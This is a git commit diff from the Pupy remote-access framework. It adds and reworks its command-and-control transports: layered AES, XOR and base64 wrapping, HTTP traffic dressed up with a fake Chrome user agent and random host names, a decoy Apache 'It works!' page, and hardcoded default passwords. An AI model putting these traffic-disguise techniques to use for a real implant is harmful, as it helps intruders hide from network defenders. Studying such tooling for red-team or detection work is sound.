transports conf improvements

This commit is contained in:
n1nj4sec 2016-06-05 00:12:40 +02:00
parent e3b83a63e7
commit 70a956d906
3 changed files with 106 additions and 53 deletions

View File

@ -42,10 +42,15 @@ class BasePupyTransport(object):
NewSubClass = type('CustomizedTransport', (cls,), kwargs)
return NewSubClass
@classmethod
def custom(cls, **kwargs):
return cls.customize(**kwargs)
@classmethod
def set(cls, **kwargs):
return cls.customize(**kwargs)
def on_connect(self):
"""
We just established a connection. Handshake time ! :-)

View File

@ -74,6 +74,18 @@ transports["ssl_proxy"]={
"client_transport_kwargs": {},
"server_transport_kwargs": {},
}
transports["ssl_aes"]={
"info" : "TCP transport wrapped with SSL and AES",
"server" : PupyTCPServer,
"client": PupySSLClient,
"client_kwargs" : {},
"authenticator" : ssl_authenticator,
"stream": PupySocketStream ,
"client_transport" : AES256.set(iterations=10000),
"server_transport" : AES256.set(iterations=10000),
"client_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"},
"server_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"},
}
transports["tcp_cleartext"]={
"info" : "Simple TCP transport transmitting in cleartext",
"server" : PupyTCPServer,
@ -111,7 +123,7 @@ transports["tcp_base64"]={
"server_transport_kwargs": {},
}
transports["sync_http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ...
transports["http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ...
"info" : "TCP transport using HTTP with base64 encoded payloads (synchrone with Keep-Alive headers and one 3-way-handshake)",
"server" : PupyTCPServer,
"client": PupyTCPClient,
@ -123,6 +135,24 @@ transports["sync_http_cleartext"]={ #TODO fill with empty requests/response betw
"client_transport_kwargs": {},
"server_transport_kwargs": {},
}
transports["http_aes"]={
"info" : "TCP transport using HTTP+AES",
"server" : PupyTCPServer,
"client": PupyTCPClient,
"client_kwargs" : {},
"authenticator" : None,
"stream": PupySocketStream ,
"client_transport" : chain_transports(
PupyHTTPClient.custom(keep_alive=True),
AES256.custom(password=scramblesuit_passwd, iterations=10000)
),
"server_transport" : chain_transports(
PupyHTTPServer,
AES256.set(password=scramblesuit_passwd, iterations=10000)
),
"client_transport_kwargs": {},
"server_transport_kwargs": {},
}
transports["tcp_aes"]={
"info" : "TCP transport that encodes traffic using AES256 with a static password hashed with PBKDF2",
"server" : PupyTCPServer,
@ -135,7 +165,9 @@ transports["tcp_aes"]={
"client_transport_kwargs": {"password": "pupy_t3st_p4s5word"},
"server_transport_kwargs": {"password": "pupy_t3st_p4s5word"},
}
transports["test_stacking"]={
transports["trololo"]={
"info" : "test wrapping",
"server" : PupyTCPServer,
"client": PupyTCPClient,
@ -143,23 +175,28 @@ transports["test_stacking"]={
"authenticator" : None,
"stream": PupySocketStream ,
"client_transport" : chain_transports(
PupyHTTPClient,
AES256.set(password="toto123", iterations=10000),
XOR.set(xorkey="trololo"),
AES128.set(password="plop123", iterations=10000),
B64Client,
PupyHTTPClient.custom(method="POST", user_agent="Mozilla 5.0", keep_alive=True),
B64Transport,
PupyHTTPClient.custom(method="GET", user_agent="Mozilla-ception", keep_alive=True),
XOR.set(xorkey="trololo"),
AES256.custom(password="plop2", iterations=10000),
AES128.custom(password="plop1", iterations=10000),
),
"server_transport" : chain_transports(
PupyHTTPServer.custom(response_code="418 I'm a teapot"),
B64Transport,
PupyHTTPServer,
AES256.set(password="toto123", iterations=10000),
XOR.set(xorkey="trololo"),
AES128.set(password="plop123", iterations=10000),
B64Server,
AES256.set(password="plop2", iterations=10000),
AES128.set(password="plop1", iterations=10000),
),
"client_transport_kwargs": {},
"server_transport_kwargs": {},
}
transports["async_http_cleartext"]={
"info" : "TCP transport using HTTP with base64 encoded payloads (asynchrone with client pulling the server and multiple 3-way handshakes (slow))",
"server" : PupyAsyncTCPServer,
@ -167,7 +204,7 @@ transports["async_http_cleartext"]={
"client_kwargs" : {},
"authenticator" : None,
"stream": PupyAsyncTCPStream ,
"client_transport" : PupyHTTPClient,
"client_transport" : PupyHTTPClient.set(keep_alive=False),
"server_transport" : PupyHTTPServer,
"client_transport_kwargs": {},
"server_transport_kwargs": {},

View File

@ -15,32 +15,7 @@ class InvalidHTTPReq(Exception):
class MalformedData(Exception):
pass
def data2http_req(data, headers):
request="GET /%s HTTP/1.1\r\n"%base64.b64encode(data)
for name, value in headers.iteritems():
request+="%s: %s\r\n"%(name, value)
request+="\r\n"
return request
def http_req2data(s):
if not s.startswith("GET "):
raise InvalidHTTPReq()
first_line=s.split("\r\n")[0]
if not first_line.endswith(" HTTP/1.1"):
raise InvalidHTTPReq()
method, path, http_ver=first_line.split()
try:
decoded_data=base64.b64decode(path[1:])
except:
raise MalformedData("can't decode b64")
cookie=None
try:
for line in s.split("\r\n"):
if line.startswith("Cookie"):
cookie=(line.split(":",1)[1]).split("=")[1].strip()
except:
pass
return decoded_data, cookie
error_response_body="""<html><body><h1>It works!</h1>
@ -61,15 +36,19 @@ class PupyHTTPTransport(BasePupyTransport):
pass
class PupyHTTPClient(PupyHTTPTransport):
client=True #to start polling
client=True
method="GET"
keep_alive=True
path="/"
user_agent="Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
host=None # None for random
def __init__(self, *args, **kwargs):
PupyHTTPTransport.__init__(self, *args, **kwargs)
self.headers=OrderedDict({
"Host" : "www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com",
"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Connection" : "keep-alive",
})
self.headers={"User-Agent" : self.user_agent}
if self.host is not None:
self.headers["Host"]=self.host
if not "Host" in self.headers:
self.headers["Host"]="www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com"
def upstream_recv(self, data):
"""
@ -80,9 +59,16 @@ class PupyHTTPClient(PupyHTTPTransport):
d=data.peek()
if data.cookie is not None:
self.headers['Cookie']="PHPSESSID=%s"%data.cookie
encoded_data=data2http_req(d, self.headers)
request="%s %s%s HTTP/1.1\r\n"%(self.method, self.path, base64.b64encode(d))
for name, value in self.headers.iteritems():
request+="%s: %s\r\n"%(name, value)
if self.keep_alive:
request+="Connection: keep-alive\r\n"
request+="\r\n"
data.drain(len(d))
self.downstream.write(encoded_data)
self.downstream.write(request)
except Exception as e:
logging.debug(e)
@ -93,13 +79,13 @@ class PupyHTTPClient(PupyHTTPTransport):
d=data.peek()
decoded_data=b""
#let's parse HTTP responses :
if d.startswith("HTTP/1.1 200 OK\r\n") and "\r\n\r\n" in d:
if d.startswith("HTTP/1.1 ") and "\r\n\r\n" in d:
while len(d)>0:
try:
head, rest=d.split("\r\n\r\n", 1)
fl, headers=head.split("\r\n",1)
fl, rheaders=head.split("\r\n",1)
content_length=None
for name, value in [[i.strip() for i in x.split(":",1)] for x in headers.split("\r\n")]:
for name, value in [[i.strip() for i in x.split(":",1)] for x in rheaders.split("\r\n")]:
if name=="Content-Length":
content_length=int(value)
break
@ -118,8 +104,14 @@ class PupyHTTPClient(PupyHTTPTransport):
class PupyHTTPServer(PupyHTTPTransport):
client=False
response_code="200 OK"
server_header="Apache"
def __init__(self, *args, **kwargs):
PupyHTTPTransport.__init__(self, *args, **kwargs)
self.headers={
"Content-Type" : "text/html; charset=utf-8",
"Server" : self.server_header,
}
def upstream_recv(self, data):
"""
@ -128,9 +120,9 @@ class PupyHTTPServer(PupyHTTPTransport):
try:
d=data.peek()
encoded_data=base64.b64encode(d)
response="HTTP/1.1 200 OK\r\n"
response+="Server: Apache\r\n"
response+="Content-Type: text/html; charset=utf-8\r\n"
response="HTTP/1.1 %s\r\n"%self.response_code
for name, value in self.headers.iteritems():
response+="%s: %s\r\n"%(name, value)
response+="Content-Length: %s\r\n"%len(encoded_data)
response+="\r\n"
response+=encoded_data
@ -139,6 +131,26 @@ class PupyHTTPServer(PupyHTTPTransport):
except Exception as e:
logging.debug(e)
def http_req2data(self, s):
if not s.startswith(("GET ", "POST ", "HEAD ", "PUT ")):
raise InvalidHTTPReq()
first_line=s.split("\r\n")[0]
if not first_line.endswith(" HTTP/1.1"):
raise InvalidHTTPReq()
method, path, http_ver=first_line.split()
try:
decoded_data=base64.b64decode(path[1:])
except:
raise MalformedData("can't decode b64")
cookie=None
try:
for line in s.split("\r\n"):
if line.startswith("Cookie"):
cookie=(line.split(":",1)[1]).split("=")[1].strip()
except:
pass
return decoded_data, cookie
def downstream_recv(self, data):
"""
HTTP requests to raw data
@ -152,7 +164,7 @@ class PupyHTTPServer(PupyHTTPTransport):
for req in tab:
try:
if req:
newdata, cookie = http_req2data(req)
newdata, cookie = self.http_req2data(req)
decoded_data+=newdata
data.cookie=cookie
data.drain(len(req)+4)
@ -167,4 +179,3 @@ class PupyHTTPServer(PupyHTTPTransport):
self.upstream.write(decoded_data)
except Exception as e:
logging.debug(e)